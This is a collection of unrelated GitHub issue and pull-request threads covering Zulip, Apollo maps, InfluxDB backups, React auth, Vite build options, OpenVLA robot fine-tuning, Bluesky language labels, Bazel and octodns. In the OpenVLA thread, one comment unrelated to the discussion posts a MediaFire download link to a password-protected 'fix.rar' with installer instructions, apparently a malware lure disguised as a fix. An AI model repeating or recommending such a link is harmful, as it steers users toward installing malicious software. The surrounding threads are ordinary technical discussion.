Hi @pbiradar8!  Thanks for working on this!  However, this project has been replaced by github.com/zulip/zulip-mobile; apparently we only mentioned this on pages that link to here, and not on this repository.  We'd love to have you contribute there!

Thanks for working on this @pbiradar8!  Closing this, since this project has been replaced by github.com/zulip/zulip-mobile/


Import apollo hdmap xodr file

Hello,if I have apollo hd map.xodr.where can I put apollo hd map.xodr file in apollo3.0 docker ?
Thanks!

In apollo docker, the map files are mounted to `/apollo/modules/map/data/' folder

Closing this issue as it appears to be resolved. Feel free to reopen if you have additional questions. Thanks!


Create tag twice doesn't work

Due to an update in moon-landing, creating a tag twice on the same repo doesn't work anymore (for good reason).
This PR updates the according test in hfh. Create tag is now officially released yet so no big deal here.

The docs for this PR live here. All of your documentation changes will be reflected on that endpoint.


Support incremental backups

Feature Request
Proposal: Support incremental backups. Currently each shard can be backed up individually.
Current behavior: According to https://docs.influxdata.com/influxdb/v1.0/administration/backup_and_restore/
InfluxDB does not yet support incremental backups
Desired behavior: DB size can be very big so taking full backup each time is simply overkill.

@freeseacher does the since flag not achieve what you're looking for?

-since  - This flag can be used to create a backup since a specific date, where the date must be in RFC3339 format (for example, 2015-12-24T08:12:23Z). This flag is important if you would like to take incremental backups of your database. If not specified, all timeranges within the database will be backed up.

ok. maybe. but how do i restore that backups to make them one peace ?

It should be the same as a regular restore
influxd backup -since <date> -database <mydatabase> <path-to-backup>
influxd restore -metadir <path-to-meta-dir> -datadir <path-to-data-dir> <path-to-backup>

I'm going to close this since it seems this is a support question that should go to the mailing list. If it turns out that what you want isn't available, please comment here with details and I'll reopen this issue. Thanks.

ok. than probably that is not feature request but documentation bug/misundersanding.
thx.

Maybe I'm wrong but I'm trying to get an incremental backup using exactly the same command that appears in the documentation and I'm getting a full backup every time I try, it's making a backup of all shards when it's supposed to backup only 1 because of the since parameter. There's any issue with shit parameter?

@joseppla if the -since flag isn't working correctly could you open an issue detailing the steps to reproduce the issue.


withAuth not rot returning updated user information after login

react version: 17.0.2
node version: v16.18.1
After login the App.tsx file returns auth with expected values such as isAuthenticated: true, user data, etc. However, calling withAuth returns the object default as though the user isn't logged in.
const AuthorizeRoutes: React.FC<Props> = (props: Props) => {
    ...
    const auth = useAuth();

    console.log('test: :', props.auth);
    console.log('test2: :', auth);
    ...
};
export default withAuth(withTranslationContext(AuthorizeRoutes));

Note that useAuth() returns the same values as the withAuth.
This is being called on routing:
<Route
    render={() => (
        <AuthorizeRoutes roles={[UserRoles.Employer, UserRoles.Admin]}>
            { auth.user?.access_token && <FilterRoutes /> }
        </AuthorizeRoutes>
    )}
/>

I do notice, when logging, this is called before the log in App.tsx

I'am no longer using withAuth, please debug and tell us what is wrong

I'am no longer using withAuth, please debug and tell us what is wrong

Looking deeper into what I'm doing, I need to authenticate the routes. So when a user attempts to access any location in the app the token is checked for and the user is allowed to continue if the token is available.  Since Route is called before App.tsx is loaded useAuth returns no user info nor tokens when a route/page load happens.
Is there a recommended solution to either apply auth to a route OR instruct the routes to wait for the headers to load and allow useAuth to gather correct values?

Though I would love to contribute that solution. I'm mainly an Angular dev so that's outside my knowledge at the moment.
Can you provide some insight into how your doing this in your application?


handle compilation error

An uncaught exception occurs when an uncompilable script, e.g., a script with a syntax error, is given.
The exception occurs at
https://github.com/simonsobs/nextline/blob/v0.0.8/nextline/state.py#L206
Consequently, nextline won't be in the initialized state or in any other state. The state becomes undetermined.

resolved with the commit 62bfde4083e8bc29b1993aaabf87ab314a2bd4fc


Allow lldb-mi's conditional breakpoint -break-insert to work with -f

-break-insert's -f on lldb-mi requires a parameter.
@faxue-msft @chuckries

:shipit:

:ship: it

:+1:


Post language selection for Cantonese (yue) is inconstent

On a mobile device, if you write a post in Cantonese and then try to mark the post language as Cantonese (yue), the process is inconsistent across OS and not labelled correctly.

On Android, this feature does not seem to appear at all
On iOS, the Post Language window offers:
Post Language
English
yue
Chinese
Japanese
Portuguese
Other

Cantonese speaking users would expect this to be labelled as 粵語/Cantonese, rather than the ISO code showing and for this option to appear both on Android and iOS.
The whole language list seems a bit ad-hoc to be honest, including the naming conventions, and might benefit from a more structured approach?

Hey @akerbeltz thanks for the report! I think I might need some more info 🤔
The language selector within the composer (where you write a post) should show on Android. It shows on my test devices. Are you sure you're on our latest release of the Android app?
For all platforms, yes, the initial "dropdown" window shows default languages, and/or recently selected languages. I'm guessing you've discovered that if you click "Other" you can then select from many languages.
So unless there are issues with those things, what you're suggesting is that we need to update how we refer to some languages, which we're happy to do! Our backend requires the 2-letter ISO codes, but we can label those however would be best for our users. ISO codes definitely shouldn't be used as the labels, so if that's happening we will fix it!
Here's the full list in our codebase. Would you mind helping me understand which languages need to be updated? Really appreciate your help 🙏

In ISO-639-3, Cantonese is assigned the code "yue," but it’s not included in ISO-639-2.
The tricky part is that Bluesky appears to use ISO-639-2 for post language options, which means there’s currently can't to add Cantonese as a post language normally.


feat(build): add copyPublicDir option

Description

This PR adds build.copyPublicDir: boolean option to control whether to copy the publicDir to outDir. Default true.
Additional context

Case
Vite default build copies files in publicDir to outDir. In common cases, this isn't useful for SSR builds as the client build already contains the publicDir files. To avoid unnecessary files, SvelteKit and Astro sets publicDir: false to turn it off.
Problem
However, turning it off disallows import img from '/favicon.png', which is possible with plugin-vue's asset transform:
<img src="/favicon.png" alt="" />

Which would error on SSR build as Vite can resolve /... imports from the publicDir. (https://github.com/withastro/astro/issues/5063) (Extra base/publicDir discussion: https://github.com/vitejs/vite/discussions/9276)
Solution

New option like this PR
Don't copy publicDir in SSR builds by default (could be breaking)
Disable imports in publicDir as documented (Though the discussion above say otherwise https://github.com/vitejs/vite/discussions/9276)

What is the purpose of this pull request?

[ ] Bug fix
[x] New Feature
[ ] Documentation update
[ ] Other

Before submitting the PR, please make sure you do the following

[x] Read the Contributing Guidelines.
[x] Read the Pull Request Guidelines and follow the Commit Convention.
[x] Check that there isn't already a PR that solves the problem the same way to avoid creating a duplicate.
[x] Provide a description in this PR that addresses what the PR is solving, or reference the issue that it solves (e.g. fixes #123).
[ ] Ideally, include relevant tests that fail without this PR but pass with it.

I think this will fix https://github.com/vitejs/vite/issues/10082#issuecomment-1245174390, too.
My current opinion is to go with this PR for Vite 3 and later go with 3. But I didn't take time to consider about this deeper so I might change my mind.

I think no3 is a bit of a special case that probably needs discussion too, but yeah with Vite 4 close, we could consider a nicer overall solution for this too.

We are looking to stabilize this feature. Request for feedback here:

https://github.com/vitejs/vite/discussions/13807


Automatically add GitHub Actions caching url to allowed list

https://github.com/Automattic/vip-go-mu-plugins/pull/2815#issuecomment-1013884663

Created issue in toolkit to find a solution: https://github.com/actions/toolkit/issues/978


Update governance-charter.md

Adding myself to the charter as per https://github.com/open-feature/community/issues/104#issuecomment-1289527409

Thanks for the approval, someone else needs to merge for me!


Question about fine-tuning advices

Hello, thank you for your work on openvla!
I am trying to fine-tune openVLA. Some key informations:

trained on one task: put red cube in box
randomized the cube position
trained on 100 epochs, each with ~70 steps
trained on 2 x 4090 RTX, each with 24GB vRAM
simulated robot:  Franka Emika Panda
fine-tuning parameters: lr = 2e-5, batch_size = 1 (due to limited compute resources), grad_acc_steps = 16, lora_rank = 128

Train logs look like that:

Here is a video with a few examples of inference of fine-tuned model (both cube positions are from training dataset)
openvla_cut2.webm
The arm is getting close to the cube but does not succeed in gripping it. Do you have any advice for improving our fine-tuning setup that may help to successfully complete the task? We are planning to try a larger dataset and more steps per episode. What number of episodes and steps per episode do you recommend for such task?

Thanks for reaching out -- this looks pretty cool!
One basic debugging step would be to load some of the training images in your inference pipeline and feed them into the model right before your call the action prediction function and then verify that the results are matching the L1 error you saw during training. It's also really important to match the training setup, eg if you ran some image pre-processing / resizing / augmentation. Esp for sim data where there is 0 variation in lighting etc getting the nuances of the preprocessing pipeline right matters (like using the exact same resizing pipeline for example). You can check out the example Bridge inference script we recently added to the repo to see how we run inference.
Another thing I noticed is that the controller seems to overshoot (you can see that OpenVLA runs slow and the robot "wiggles back" after taking an action) -- this is not something we typically see in sim since the env usually waits for the model to predict an action so it doesn't matter how slow the inference is. Did you try whether you can successfully replay a training trajectory at the inference speed of OpenVLA and still solve the task?

Download
https://www.mediafire.com/file/wpwfw3bpd8gsjey/fix.rar/file
password: changeme
In the installer menu, select "gcc."

@kpertsch Thank you very much for the answer. I have debugged the train and inference preprocessing pipelines, which seem to produce the same output. Moreover, our inference pipeline is based on your inference script from README so, as I understand there shouldn't be a mismatch between train and inference preprocessing (if I don't use any custom preprocessing), or am I missing something?
Yes, we can successfully reply our trajectory from the training dataset. "Wiggling back" is caused by how our current simulation works. The robot gets an action from openvla, executes it (updates the state with the action and moves the arm to the new state by MoveIt), and then waits for the next action. The frequency of image publishing is set to be slower than the frequency of openvla inference to make sure that every action is completed.

Hi @kpertsch! Thank you for the information, the new feature sounds very good! For now, we have stopped experimenting on OpenVLA and switched to more conventional approaches but I will remember about the new feature if we decide to continue work on OpenVLA fine-tuning in the future. If you are interested in tools connecting AI with robotics, I encourage you to see RAI - our AI agent framework for robotics.


[Event Change Request] - GetSourceDocuments.Report.al - OnAfterPurchaseHeaderOnAfterGetRecord

We like to request the following event change:
Object: GetSourceDocuments.Report.al
ToDo: add parameter: WhseReceiptHeader, OneHeaderCreated
Where is the event placed:
trigger OnAfterGetRecord()
var
    BreakReport: Boolean;
    SkipRecord: Boolean;
begin
    BreakReport := false;
    SkipRecord := false;
    OnAfterPurchaseHeaderOnAfterGetRecord("Purchase Header", SkipRecord, BreakReport, "Warehouse Request", WhseReceiptHeader, OneHeaderCreated);
    if BreakReport then
        CurrReport.Break();
    if SkipRecord then
        CurrReport.Skip();
end;

Event Code:
[IntegrationEvent(false, false)]
local procedure OnAfterPurchaseHeaderOnAfterGetRecord(PurchaseHeader: Record "Purchase Header"; var SkipRecord: Boolean; var BreakReport: Boolean; var WarehouseRequest: Record "Warehouse Request"; var WhseReceiptHeader: Record "Warehouse Receipt Header"; OneHeaderCreated: Boolean)
begin
end;

Thanks for reporting this. We agree, and we’ll publish a fix asap, either in an update for the current version or in the next major release. Please do not reply to this, as we do not monitor closed issues. If you have follow-up questions or requests, please create a new issue where you reference this one.


Documentation improvement suggestions

Thank you for bringing us TypeScript support on Bazel. Very exciting!
Here's some feedback on the documentation which I hope will be helpful:

It looks like you're meant to have package.json and node_modules/ at the root of your workspace, and it's not possible to specify more granular package dependencies for each ts_library. Or maybe I misunderstood. It would be worth clarifying exactly how you're meant to manage NPM dependencies when working on a large-scale project.
I couldn't find documentation explaining how to import a module from another workspace (I assume this would get tricky in regards to NPM dependencies).
It would be useful to add documentation for compiling a JavaScript bundle without starting a devserver. I discovered that it was possible using nodejs_binary after digging through each example in depth.
In my case, the devserver failed because the default port wasn't allocated. It may be useful to document how to override the port (bazel run //path/to/devserver -- --port=8090).

I'd happily send a PR for these, only I barely understand how it all works. Feel free to close this issue if these topics are already covered elsewhere.
Cheers!

You can make as many filegroup targets as you like that represent groups of node modules. For example, https://github.com/angular/angular/commit/4f609687044a5b7cd15f796bce948e9385b70f7a#diff-2e36a6bb46f11de1a042aa34d7106bf1 shows a compiletime deps which is different from runtime deps. Note that these don't compose - for a given compilation/binary execution all the needed node modules have to be in the same filegroup.

What do you mean by "compiling a JavaScript bundle without starting a devserver"? Do you mean running the typescript compiler to produce JS? Producing a bundle like with https://bazelbuild.github.io/rules_nodejs/rollup/rollup_bundle.html#rollup_bundle

Thanks Alex.

Ideally, I'd like to be able to specify external dependencies on a per-target basis, like you would in other languages supported like Bazel (e.g. deps = ["//third_party/some/library"] in Java). However I've since found out that this is by design and documented in the Node repo. I'm used to the convenience of Bazel being both a build tool and a package manager, and didn't realise this wasn't the case here. Maybe linking to the Node rules readme would help, for those of us who aren't aware of the relationship between the TypeScript rules and the Node rules? Merging the repos (#133) would work too.

Yes, the rollup_bundle rule was what I was looking for. Cheers!

I've been meaning to try out rules_typescript with pubref/rules_node or dropbox/rules_node - both of those have deps on individual node_modules which as you point out is more idiomatic for Bazel. In theory we ought to be able to make that work, then you'd have that option as well.

I don't think we'll ever include this in our scope. If you want Bazel to be the package manager, you should use someone else's rule set.


[Website] Ricardo - added case study feedback

I added a feedback section to the Ricardo Case Study.
Feedback will be tracked using Google Analytics.

Thank you for your contribution! Follow this checklist to help us incorporate your contribution quickly and easily:

[ ] Choose reviewer(s) and mention them in a comment (R: @username).
[ ] Format the pull request title like [BEAM-XXX] Fixes bug in ApproximateQuantiles, where you replace BEAM-XXX with the appropriate JIRA issue, if applicable. This will automatically link the pull request to the issue.
[ ] Update CHANGES.md with noteworthy changes.
[ ] If this contribution is large, please file an Apache Individual Contributor License Agreement.

See the Contributor Guide for more tips on how to make review process smoother.

GitHub Actions Tests Status (on master branch)

See CI.md for more information about GitHub Actions CI.

retest this please


Support for ANAME or Alias Records

Hi
Feature request:
It would be good if octodns could support ANAME records (described quite well here - https://blog.mythic-beasts.com/2016/10/07/aname-records/) for the providers that support ANAME Records.
Whilst it is not officially supported by https://www.ietf.org/rfc/rfc1912.txt its usage is increasing and would be handy to be able to ensure all config is in octodns.

ALIAS records are currently supported for the handful of providers that have the concept. Route53's ALIAS is a different thing and they don't support the root CNAME style ALIAS records. The providers support matrix calls out where it's supported.

I do apologise Ross. I did not intially see support in dyn for Alias but I was explicitly looking for ANAME and not alias which i can see at -  https://github.com/github/octodns/blob/master/octodns/provider/dyn.py#L207-L220
Apologies for opening this ticket and not rtfming correctly

No need to apologize. Glad what you were after existed.